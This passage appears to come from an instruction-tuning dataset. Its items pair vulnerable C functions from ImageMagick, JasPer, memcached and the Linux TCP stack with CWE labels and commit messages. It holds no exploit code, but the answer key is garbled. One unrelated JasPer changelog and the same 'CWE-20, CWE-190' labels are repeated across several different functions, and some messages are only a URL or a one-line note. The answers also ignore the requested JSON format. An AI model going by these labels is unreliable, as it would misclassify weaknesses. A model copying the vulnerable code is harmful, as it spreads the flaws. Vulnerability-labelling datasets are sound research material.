{\n MemoryInfo\n *pixel_info;\n\n register uint32\n *p;\n\n uint32\n *pixels;\n\n /*\n Convert TIFF image to DirectClass MIFF image.\n */\n number_pixels=(MagickSizeType) image->columns*image->rows;\n if (HeapOverflowSanityCheck(image->rows,sizeof(*pixels)) != MagickFalse)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixel_info=AcquireVirtualMemory(image->columns,image->rows*\n sizeof(uint32));\n if (pixel_info == (MemoryInfo *) NULL)\n {\n TIFFClose(tiff);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n pixels=(uint32 *) GetVirtualMemoryBlob(pixel_info);\n (void) TIFFReadRGBAImage(tiff,(uint32) image->columns,(uint32)\n image->rows,(uint32 *) pixels,0);\n /*\n Convert image to DirectClass pixel packets.\n */\n p=pixels+number_pixels-1;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register ssize_t\n x;\n\n register Quantum\n *magick_restrict q;\n\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n q+=GetPixelChannels(image)*(image->columns-1);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(image,ScaleCharToQuantum((unsigned char)\n TIFFGetR(*p)),q);\n SetPixelGreen(image,ScaleCharToQuantum((unsigned char)\n TIFFGetG(*p)),q);\n SetPixelBlue(image,ScaleCharToQuantum((unsigned char)\n TIFFGetB(*p)),q);\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ScaleCharToQuantum((unsigned char)\n TIFFGetA(*p)),q);\n p--;\n q-=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n break;\n }\n }\n SetQuantumImageType(image,quantum_type);\n next_tiff_frame:\n quantum_info=DestroyQuantumInfo(quantum_info);\n if (photometric == PHOTOMETRIC_CIELAB)\n DecodeLabImage(image,exception);\n if ((photometric == PHOTOMETRIC_LOGL) ||\n (photometric == PHOTOMETRIC_MINISBLACK) ||\n (photometric == PHOTOMETRIC_MINISWHITE))\n {\n image->type=GrayscaleType;\n if (bits_per_sample == 1)\n image->type=BilevelType;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;\n if (status != MagickFalse)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,image->scene-1,\n image->scene);\n if (status == MagickFalse)\n break;\n }\n } while (status != MagickFalse);\n TIFFClose(tiff);\n TIFFReadPhotoshopLayers(image,image_info,exception);\n if (image_info->number_scenes != 0)\n {\n if (image_info->scene >= GetImageListLength(image))\n {\n /* Subimage was not found in the Photoshop layer */\n image=DestroyImageList(image);\n return((Image *)NULL);\n }\n }\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-703'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/268'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void *jas_malloc(size_t size)\n{\n\tvoid *result;\n\tJAS_DBGLOG(101, (\"jas_malloc called with %zu\\n\", size));\n\tresult = malloc(size);\n\tJAS_DBGLOG(100, (\"jas_malloc(%zu) -> %p\\n\", size, result));\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fixed an integer overflow problem.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc, char **argv)\n{\n\tint c;\n\n\tinit();\n\n\t/* Determine the base name of this command. */\n\tif ((cmdname = strrchr(argv[0], '/'))) {\n\t\t++cmdname;\n\t} else {\n\t\tcmdname = argv[0];\n\t}\n\n\t/* Initialize the JasPer library. */\n\tif (jas_init()) {\n\t\tabort();\n\t}\n\n\tglutInit(&argc, argv);\n\tglutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE);\n\tglutCreateWindow(cmdname);\n\tglutReshapeFunc(reshapefunc);\n\tglutDisplayFunc(displayfunc);\n\tglutSpecialFunc(specialfunc);\n\tglutKeyboardFunc(keyboardfunc);\n\n\tcmdopts.numfiles = 0;\n\tcmdopts.filenames = 0;\n\tcmdopts.title = 0;\n\tcmdopts.tmout = 0;\n\tcmdopts.loop = 0;\n\tcmdopts.verbose = 0;\n\n\twhile ((c = jas_getopt(argc, argv, opts)) != EOF) {\n\t\tswitch (c) {\n\t\tcase 'w':\n\t\t\tcmdopts.tmout = atof(jas_optarg) * 1000;\n\t\t\tbreak;\n\t\tcase 'l':\n\t\t\tcmdopts.loop = 1;\n\t\t\tbreak;\n\t\tcase 't':\n\t\t\tcmdopts.title = jas_optarg;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tcmdopts.verbose = 1;\n\t\t\tbreak;\n\t\tcase 'V':\n\t\t\tprintf(\"%s\\n\", JAS_VERSION);\n\t\t\tfprintf(stderr, \"libjasper %s\\n\", jas_getversion());\n\t\t\tcleanupandexit(EXIT_SUCCESS);\n\t\t\tbreak;\n\t\tdefault:\n\t\tcase 'h':\n\t\t\tusage();\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (jas_optind < argc) {\n\t\t/* The images are to be read from one or more explicitly named\n\t\t files. */\n\t\tcmdopts.numfiles = argc - jas_optind;\n\t\tcmdopts.filenames = &argv[jas_optind];\n\t} else {\n\t\t/* The images are to be read from standard input. */\n\t\tstatic char *null = 0;\n\t\tcmdopts.filenames = &null;\n\t\tcmdopts.numfiles = 1;\n\t}\n\n\tstreamin = jas_stream_fdopen(0, \"rb\");\n\n\t/* Load the next image. */\n\tnextimage();\n\n\t/* Start the GLUT main event handler loop. */\n\tglutMainLoop();\n\n\treturn EXIT_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'A new experimental memory allocator has been introduced. The allocator\nis experimental in the sense that its API is not considered stable and\nthe allocator may change or disappear entirely in future versions of\nthe code. This new allocator tracks how much memory is being used by\njas_malloc and friends. A maximum upper bound on the memory usage can be\nset via the experimental API provided and a default value can be set at\nbuild time as well. Such functionality may be useful in run-time\nenvironments where the user wants to be able to limit the amount of\nmemory used by JasPer. This allocator is not used by default.\nNote: This feature needs C11 functionality.\nNote: The memory allocator is not thread safe in its current form.\n\nA new --memory-limit CLI option has been added to the jasper, imginfo,\nimgcmp, and jiv programs. The option is only available when the code is\nbuilt with the new memory allocator.\n\nThe support for my old debug memory allocator from the 1990s has been\npurged from the code. The debug memory allocator is probably not\na very useful thing with the advent of GCC/Clang code sanitizers.\n\nThe safe size_t integer functions no longer set their result upon failure.\nA safe subtract operation was also added.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,\n const rel_time_t exptime, const int nbytes) {\n int i;\n uint8_t nsuffix;\n item *it = NULL;\n char suffix[40];\n size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);\n if (settings.use_cas) {\n ntotal += sizeof(uint64_t);\n }\n\n unsigned int id = slabs_clsid(ntotal);\n if (id == 0)\n return 0;\n\n /* If no memory is available, attempt a direct LRU juggle/eviction */\n /* This is a race in order to simplify lru_pull_tail; in cases where\n * locked items are on the tail, you want them to fall out and cause\n * occasional OOM's, rather than internally work around them.\n * This also gives one fewer code path for slab alloc/free\n */\n /* TODO: if power_largest, try a lot more times? or a number of times\n * based on how many chunks the new object should take up?\n * or based on the size of an object lru_pull_tail() says it evicted?\n * This is a classical GC problem if \"large items\" are of too varying of\n * sizes. This is actually okay here since the larger the data, the more\n * bandwidth it takes, the more time we can loop in comparison to serving\n * and replacing small items.\n */\n for (i = 0; i < 10; i++) {\n uint64_t total_bytes;\n /* Try to reclaim memory first */\n if (!settings.lru_maintainer_thread) {\n lru_pull_tail(id, COLD_LRU, 0, 0);\n }\n it = slabs_alloc(ntotal, id, &total_bytes, 0);\n\n if (settings.expirezero_does_not_evict)\n total_bytes -= noexp_lru_size(id);\n\n if (it == NULL) {\n if (settings.lru_maintainer_thread) {\n lru_pull_tail(id, HOT_LRU, total_bytes, 0);\n lru_pull_tail(id, WARM_LRU, total_bytes, 0);\n if (lru_pull_tail(id, COLD_LRU, total_bytes, LRU_PULL_EVICT) <= 0)\n break;\n } else {\n if (lru_pull_tail(id, COLD_LRU, 0, LRU_PULL_EVICT) <= 0)\n break;\n }\n } else {\n break;\n }\n }\n\n if (i > 0) {\n pthread_mutex_lock(&lru_locks[id]);\n itemstats[id].direct_reclaims += i;\n pthread_mutex_unlock(&lru_locks[id]);\n }\n\n if (it == NULL) {\n pthread_mutex_lock(&lru_locks[id]);\n itemstats[id].outofmemory++;\n pthread_mutex_unlock(&lru_locks[id]);\n return NULL;\n }\n\n assert(it->slabs_clsid == 0);\n //assert(it != heads[id]);\n\n /* Refcount is seeded to 1 by slabs_alloc() */\n it->next = it->prev = 0;\n\n /* Items are initially loaded into the HOT_LRU. This is '0' but I want at\n * least a note here. Compiler (hopefully?) optimizes this out.\n */\n if (settings.lru_maintainer_thread) {\n if (exptime == 0 && settings.expirezero_does_not_evict) {\n id |= NOEXP_LRU;\n } else {\n id |= HOT_LRU;\n }\n } else {\n /* There is only COLD in compat-mode */\n id |= COLD_LRU;\n }\n it->slabs_clsid = id;\n\n DEBUG_REFCNT(it, '*');\n it->it_flags |= settings.use_cas ? ITEM_CAS : 0;\n it->nkey = nkey;\n it->nbytes = nbytes;\n memcpy(ITEM_key(it), key, nkey);\n it->exptime = exptime;\n memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);\n it->nsuffix = nsuffix;\n\n /* Need to shuffle the pointer stored in h_next into it->data. */\n if (it->it_flags & ITEM_CHUNKED) {\n item_chunk *chunk = (item_chunk *) ITEM_data(it);\n\n chunk->next = (item_chunk *) it->h_next;\n chunk->prev = 0;\n chunk->head = it;\n /* Need to chain back into the head's chunk */\n chunk->next->prev = chunk;\n chunk->size = chunk->next->size - ((char *)chunk - (char *)it);\n chunk->used = 0;\n assert(chunk->size > 0);\n }\n it->h_next = 0;\n\n return it;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'CVE reported by cisco talos'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int tcp_v4_rcv(struct sk_buff *skb)\n{\n\tstruct net *net = dev_net(skb->dev);\n\tconst struct iphdr *iph;\n\tconst struct tcphdr *th;\n\tbool refcounted;\n\tstruct sock *sk;\n\tint ret;\n\n\tif (skb->pkt_type != PACKET_HOST)\n\t\tgoto discard_it;\n\n\t/* Count it even if it's bad */\n\t__TCP_INC_STATS(net, TCP_MIB_INSEGS);\n\n\tif (!pskb_may_pull(skb, sizeof(struct tcphdr)))\n\t\tgoto discard_it;\n\n\tth = (const struct tcphdr *)skb->data;\n\n\tif (unlikely(th->doff < sizeof(struct tcphdr) / 4))\n\t\tgoto bad_packet;\n\tif (!pskb_may_pull(skb, th->doff * 4))\n\t\tgoto discard_it;\n\n\t/* An explanation is required here, I think.\n\t * Packet length and doff are validated by header prediction,\n\t * provided case of th->doff==0 is eliminated.\n\t * So, we defer the checks. */\n\n\tif (skb_checksum_init(skb, IPPROTO_TCP, inet_compute_pseudo))\n\t\tgoto csum_error;\n\n\tth = (const struct tcphdr *)skb->data;\n\tiph = ip_hdr(skb);\n\t/* This is tricky : We move IPCB at its correct location into TCP_SKB_CB()\n\t * barrier() makes sure compiler wont play fool^Waliasing games.\n\t */\n\tmemmove(&TCP_SKB_CB(skb)->header.h4, IPCB(skb),\n\t\tsizeof(struct inet_skb_parm));\n\tbarrier();\n\n\tTCP_SKB_CB(skb)->seq = ntohl(th->seq);\n\tTCP_SKB_CB(skb)->end_seq = (TCP_SKB_CB(skb)->seq + th->syn + th->fin +\n\t\t\t\t skb->len - th->doff * 4);\n\tTCP_SKB_CB(skb)->ack_seq = ntohl(th->ack_seq);\n\tTCP_SKB_CB(skb)->tcp_flags = tcp_flag_byte(th);\n\tTCP_SKB_CB(skb)->tcp_tw_isn = 0;\n\tTCP_SKB_CB(skb)->ip_dsfield = ipv4_get_dsfield(iph);\n\tTCP_SKB_CB(skb)->sacked\t = 0;\n\nlookup:\n\tsk = __inet_lookup_skb(&tcp_hashinfo, skb, __tcp_hdrlen(th), th->source,\n\t\t\t th->dest, &refcounted);\n\tif (!sk)\n\t\tgoto no_tcp_socket;\n\nprocess:\n\tif (sk->sk_state == TCP_TIME_WAIT)\n\t\tgoto do_time_wait;\n\n\tif (sk->sk_state == TCP_NEW_SYN_RECV) {\n\t\tstruct request_sock *req = inet_reqsk(sk);\n\t\tstruct sock *nsk;\n\n\t\tsk = req->rsk_listener;\n\t\tif (unlikely(tcp_v4_inbound_md5_hash(sk, skb))) {\n\t\t\tsk_drops_add(sk, skb);\n\t\t\treqsk_put(req);\n\t\t\tgoto discard_it;\n\t\t}\n\t\tif (unlikely(sk->sk_state != TCP_LISTEN)) {\n\t\t\tinet_csk_reqsk_queue_drop_and_put(sk, req);\n\t\t\tgoto lookup;\n\t\t}\n\t\t/* We own a reference on the listener, increase it again\n\t\t * as we might lose it too soon.\n\t\t */\n\t\tsock_hold(sk);\n\t\trefcounted = true;\n\t\tnsk = tcp_check_req(sk, skb, req, false);\n\t\tif (!nsk) {\n\t\t\treqsk_put(req);\n\t\t\tgoto discard_and_relse;\n\t\t}\n\t\tif (nsk == sk) {\n\t\t\treqsk_put(req);\n\t\t} else if (tcp_child_process(sk, nsk, skb)) {\n\t\t\ttcp_v4_send_reset(nsk, skb);\n\t\t\tgoto discard_and_relse;\n\t\t} else {\n\t\t\tsock_put(sk);\n\t\t\treturn 0;\n\t\t}\n\t}\n\tif (unlikely(iph->ttl < inet_sk(sk)->min_ttl)) {\n\t\t__NET_INC_STATS(net, LINUX_MIB_TCPMINTTLDROP);\n\t\tgoto discard_and_relse;\n\t}\n\n\tif (!xfrm4_policy_check(sk, XFRM_POLICY_IN, skb))\n\t\tgoto discard_and_relse;\n\n\tif (tcp_v4_inbound_md5_hash(sk, skb))\n\t\tgoto discard_and_relse;\n\n\tnf_reset(skb);\n\n\tif (sk_filter(sk, skb))\n\t\tgoto discard_and_relse;\n\n\tskb->dev = NULL;\n\n\tif (sk->sk_state == TCP_LISTEN) {\n\t\tret = tcp_v4_do_rcv(sk, skb);\n\t\tgoto put_and_return;\n\t}\n\n\tsk_incoming_cpu_update(sk);\n\n\tbh_lock_sock_nested(sk);\n\ttcp_segs_in(tcp_sk(sk), skb);\n\tret = 0;\n\tif (!sock_owned_by_user(sk)) {\n\t\tif (!tcp_prequeue(sk, skb))\n\t\t\tret = tcp_v4_do_rcv(sk, skb);\n\t} else if (tcp_add_backlog(sk, skb)) {\n\t\tgoto discard_and_relse;\n\t}\n\tbh_unlock_sock(sk);\n\nput_and_return:\n\tif (refcounted)\n\t\tsock_put(sk);\n\n\treturn ret;\n\nno_tcp_socket:\n\tif (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb))\n\t\tgoto discard_it;\n\n\tif (tcp_checksum_complete(skb)) {\ncsum_error:\n\t\t__TCP_INC_STATS(net, TCP_MIB_CSUMERRORS);\nbad_packet:\n\t\t__TCP_INC_STATS(net, TCP_MIB_INERRS);\n\t} else {\n\t\ttcp_v4_send_reset(NULL, skb);\n\t}\n\ndiscard_it:\n\t/* Discard frame. */\n\tkfree_skb(skb);\n\treturn 0;\n\ndiscard_and_relse:\n\tsk_drops_add(sk, skb);\n\tif (refcounted)\n\t\tsock_put(sk);\n\tgoto discard_it;\n\ndo_time_wait:\n\tif (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) {\n\t\tinet_twsk_put(inet_twsk(sk));\n\t\tgoto discard_it;\n\t}\n\n\tif (tcp_checksum_complete(skb)) {\n\t\tinet_twsk_put(inet_twsk(sk));\n\t\tgoto csum_error;\n\t}\n\tswitch (tcp_timewait_state_process(inet_twsk(sk), skb, th)) {\n\tcase TCP_TW_SYN: {\n\t\tstruct sock *sk2 = inet_lookup_listener(dev_net(skb->dev),\n\t\t\t\t\t\t\t&tcp_hashinfo, skb,\n\t\t\t\t\t\t\t__tcp_hdrlen(th),\n\t\t\t\t\t\t\tiph->saddr, th->source,\n\t\t\t\t\t\t\tiph->daddr, th->dest,\n\t\t\t\t\t\t\tinet_iif(skb));\n\t\tif (sk2) {\n\t\t\tinet_twsk_deschedule_put(inet_twsk(sk));\n\t\t\tsk = sk2;\n\t\t\trefcounted = false;\n\t\t\tgoto process;\n\t\t}\n\t\t/* Fall through to ACK */\n\t}\n\tcase TCP_TW_ACK:\n\t\ttcp_v4_timewait_ack(sk, skb);\n\t\tbreak;\n\tcase TCP_TW_RST:\n\t\ttcp_v4_send_reset(sk, skb);\n\t\tinet_twsk_deschedule_put(inet_twsk(sk));\n\t\tgoto discard_it;\n\tcase TCP_TW_SUCCESS:;\n\t}\n\tgoto discard_it;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284'], 'message': 'tcp: take care of truncations done by sk_filter()\n\nWith syzkaller help, Marco Grassi found a bug in TCP stack,\ncrashing in tcp_collapse()\n\nRoot cause is that sk_filter() can truncate the incoming skb,\nbut TCP stack was not really expecting this to happen.\nIt probably was expecting a simple DROP or ACCEPT behavior.\n\nWe first need to make sure no part of TCP header could be removed.\nThen we need to adjust TCP_SKB_CB(skb)->end_seq\n\nMany thanks to syzkaller team and Marco for giving us a reproducer.\n\nSigned-off-by: Eric Dumazet \nReported-by: Marco Grassi \nReported-by: Vladis Dronov \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void jas_matrix_bindsub(jas_matrix_t *mat0, jas_matrix_t *mat1, int r0,\n int c0, int r1, int c1)\n{\n\tint i;\n\n\tif (mat0->data_) {\n\t\tif (!(mat0->flags_ & JAS_MATRIX_REF)) {\n\t\t\tjas_free(mat0->data_);\n\t\t}\n\t\tmat0->data_ = 0;\n\t\tmat0->datasize_ = 0;\n\t}\n\tif (mat0->rows_) {\n\t\tjas_free(mat0->rows_);\n\t\tmat0->rows_ = 0;\n\t}\n\tmat0->flags_ |= JAS_MATRIX_REF;\n\tmat0->numrows_ = r1 - r0 + 1;\n\tmat0->numcols_ = c1 - c0 + 1;\n\tmat0->maxrows_ = mat0->numrows_;\n\tif (!(mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *)))) {\n\t\t/*\n\t\t\tThere is no way to indicate failure to the caller.\n\t\t\tSo, we have no choice but to abort.\n\t\t\tIdeally, this function should have a non-void return type.\n\t\t\tIn practice, a non-void return type probably would not help\n\t\t\tmuch anyways as the caller would just have to terminate anyways.\n\t\t*/\n\t\tabort();\n\t}\n\n\tfor (i = 0; i < mat0->numrows_; ++i) {\n\t\tmat0->rows_[i] = mat1->rows_[r0 + i] + c0;\n\t}\n\n\tmat0->xstart_ = mat1->xstart_ + c0;\n\tmat0->ystart_ = mat1->ystart_ + r0;\n\tmat0->xend_ = mat0->xstart_ + mat0->numcols_;\n\tmat0->yend_ = mat0->ystart_ + mat0->numrows_;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'The generation of the configuration file jas_config.h has been completely\nreworked in order to avoid pollution of the global namespace.\n\nSome problematic types like uchar, ulong, and friends have been replaced\nwith names with a jas_ prefix.\n\nAn option max_samples has been added to the BMP and JPEG decoders to\nrestrict the maximum size of image that they can decode. This change\nwas made as a (possibly temporary) fix to address security concerns.\nA max_samples command-line option has also been added to imginfo.\n\nWhether an image component (for jas_image_t) is stored in memory or on\ndisk is now based on the component size (rather than the image size).\n\nSome debug log message were added.\n\nSome new integer overflow checks were added.\n\nSome new safe integer add/multiply functions were added.\n\nMore pre-C99 cruft was removed. JasPer has numerous \"hacks\" to\nhandle pre-C99 compilers. JasPer now assumes C99 support. So, this\npre-C99 cruft is unnecessary and can be removed.\n\nThe regression jasper-doublefree-mem_close.jpg has been re-enabled.\nTheoretically, it should work more predictably now.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline ulong encode_twos_comp(long n, int prec)\n{\n\tulong result;\n\tassert(prec >= 2);\n\tjas_eprintf(\"warning: support for signed data is untested\\n\");\n\t// NOTE: Is this correct?\n\tif (n < 0) {\n\t\tresult = -n;\n\t\tresult = (result ^ 0xffffffffUL) + 1;\n\t\tresult &= (1 << prec) - 1;\n\t} else {\n\t\tresult = n;\n\t}\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'The generation of the configuration file jas_config.h has been completely\nreworked in order to avoid pollution of the global namespace.\n\nSome problematic types like uchar, ulong, and friends have been replaced\nwith names with a jas_ prefix.\n\nAn option max_samples has been added to the BMP and JPEG decoders to\nrestrict the maximum size of image that they can decode. This change\nwas made as a (possibly temporary) fix to address security concerns.\nA max_samples command-line option has also been added to imginfo.\n\nWhether an image component (for jas_image_t) is stored in memory or on\ndisk is now based on the component size (rather than the image size).\n\nSome debug log message were added.\n\nSome new integer overflow checks were added.\n\nSome new safe integer add/multiply functions were added.\n\nMore pre-C99 cruft was removed. JasPer has numerous \"hacks\" to\nhandle pre-C99 compilers. JasPer now assumes C99 support. So, this\npre-C99 cruft is unnecessary and can be removed.\n\nThe regression jasper-doublefree-mem_close.jpg has been re-enabled.\nTheoretically, it should work more predictably now.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jpg_validate(jas_stream_t *in)\n{\n\tuchar buf[JPG_MAGICLEN];\n\tint i;\n\tint n;\n\n\tassert(JAS_STREAM_MAXPUTBACK >= JPG_MAGICLEN);\n\n\t/* Read the validation data (i.e., the data used for detecting\n\t the format). */\n\tif ((n = jas_stream_read(in, buf, JPG_MAGICLEN)) < 0) {\n\t\treturn -1;\n\t}\n\n\t/* Put the validation data back onto the stream, so that the\n\t stream position will not be changed. */\n\tfor (i = n - 1; i >= 0; --i) {\n\t\tif (jas_stream_ungetc(in, buf[i]) == EOF) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t/* Did we read enough data? */\n\tif (n < JPG_MAGICLEN) {\n\t\treturn -1;\n\t}\n\n\t/* Does this look like JPEG? */\n\tif (buf[0] != (JPG_MAGIC >> 8) || buf[1] != (JPG_MAGIC & 0xff)) {\n\t\treturn -1;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'The generation of the configuration file jas_config.h has been completely\nreworked in order to avoid pollution of the global namespace.\n\nSome problematic types like uchar, ulong, and friends have been replaced\nwith names with a jas_ prefix.\n\nAn option max_samples has been added to the BMP and JPEG decoders to\nrestrict the maximum size of image that they can decode. This change\nwas made as a (possibly temporary) fix to address security concerns.\nA max_samples command-line option has also been added to imginfo.\n\nWhether an image component (for jas_image_t) is stored in memory or on\ndisk is now based on the component size (rather than the image size).\n\nSome debug log message were added.\n\nSome new integer overflow checks were added.\n\nSome new safe integer add/multiply functions were added.\n\nMore pre-C99 cruft was removed. JasPer has numerous \"hacks\" to\nhandle pre-C99 compilers. JasPer now assumes C99 support. So, this\npre-C99 cruft is unnecessary and can be removed.\n\nThe regression jasper-doublefree-mem_close.jpg has been re-enabled.\nTheoretically, it should work more predictably now.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jas_matrix_cmp(jas_matrix_t *mat0, jas_matrix_t *mat1)\n{\n\tint i;\n\tint j;\n\n\tif (mat0->numrows_ != mat1->numrows_ || mat0->numcols_ !=\n\t mat1->numcols_) {\n\t\treturn 1;\n\t}\n\tfor (i = 0; i < mat0->numrows_; i++) {\n\t\tfor (j = 0; j < mat0->numcols_; j++) {\n\t\t\tif (jas_matrix_get(mat0, i, j) != jas_matrix_get(mat1, i, j)) {\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'The generation of the configuration file jas_config.h has been completely\nreworked in order to avoid pollution of the global namespace.\n\nSome problematic types like uchar, ulong, and friends have been replaced\nwith names with a jas_ prefix.\n\nAn option max_samples has been added to the BMP and JPEG decoders to\nrestrict the maximum size of image that they can decode. This change\nwas made as a (possibly temporary) fix to address security concerns.\nA max_samples command-line option has also been added to imginfo.\n\nWhether an image component (for jas_image_t) is stored in memory or on\ndisk is now based on the component size (rather than the image size).\n\nSome debug log message were added.\n\nSome new integer overflow checks were added.\n\nSome new safe integer add/multiply functions were added.\n\nMore pre-C99 cruft was removed. JasPer has numerous \"hacks\" to\nhandle pre-C99 compilers. JasPer now assumes C99 support. So, this\npre-C99 cruft is unnecessary and can be removed.\n\nThe regression jasper-doublefree-mem_close.jpg has been re-enabled.\nTheoretically, it should work more predictably now.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jas_iccgetuint16(jas_stream_t *in, jas_iccuint16_t *val)\n{\n\tulonglong tmp;\n\tif (jas_iccgetuint(in, 2, &tmp))\n\t\treturn -1;\n\t*val = tmp;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-190'], 'message': 'The generation of the configuration file jas_config.h has been completely\nreworked in order to avoid pollution of the global namespace.\n\nSome problematic types like uchar, ulong, and friends have been replaced\nwith names with a jas_ prefix.\n\nAn option max_samples has been added to the BMP and JPEG decoders to\nrestrict the maximum size of image that they can decode. This change\nwas made as a (possibly temporary) fix to address security concerns.\nA max_samples command-line option has also been added to imginfo.\n\nWhether an image component (for jas_image_t) is stored in memory or on\ndisk is now based on the component size (rather than the image size).\n\nSome debug log message were added.\n\nSome new integer overflow checks were added.\n\nSome new safe integer add/multiply functions were added.\n\nMore pre-C99 cruft was removed. JasPer has numerous \"hacks\" to\nhandle pre-C99 compilers. JasPer now assumes C99 support. So, this\npre-C99 cruft is unnecessary and can be removed.\n\nThe regression jasper-doublefree-mem_close.jpg has been re-enabled.\nTheoretically, it should work more predictably now.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jpc_dec_decodepkt(jpc_dec_t *dec, jas_stream_t *pkthdrstream, jas_stream_t *in, int compno, int rlvlno,\n int prcno, int lyrno)\n{\n\tjpc_bitstream_t *inb;\n\tjpc_dec_tcomp_t *tcomp;\n\tjpc_dec_rlvl_t *rlvl;\n\tjpc_dec_band_t *band;\n\tjpc_dec_cblk_t *cblk;\n\tint n;\n\tint m;\n\tint i;\n\tjpc_tagtreenode_t *leaf;\n\tint included;\n\tint ret;\n\tint numnewpasses;\n\tjpc_dec_seg_t *seg;\n\tint len;\n\tint present;\n\tint savenumnewpasses;\n\tint mycounter;\n\tjpc_ms_t *ms;\n\tjpc_dec_tile_t *tile;\n\tjpc_dec_ccp_t *ccp;\n\tjpc_dec_cp_t *cp;\n\tint bandno;\n\tjpc_dec_prc_t *prc;\n\tint usedcblkcnt;\n\tint cblkno;\n\tuint_fast32_t bodylen;\n\tbool discard;\n\tint passno;\n\tint maxpasses;\n\tint hdrlen;\n\tint hdroffstart;\n\tint hdroffend;\n\n\t/* Avoid compiler warning about possible use of uninitialized\n\t variable. */\n\tbodylen = 0;\n\n\tdiscard = (lyrno >= dec->maxlyrs);\n\n\ttile = dec->curtile;\n\tcp = tile->cp;\n\tccp = &cp->ccps[compno];\n\n\t/*\n\t 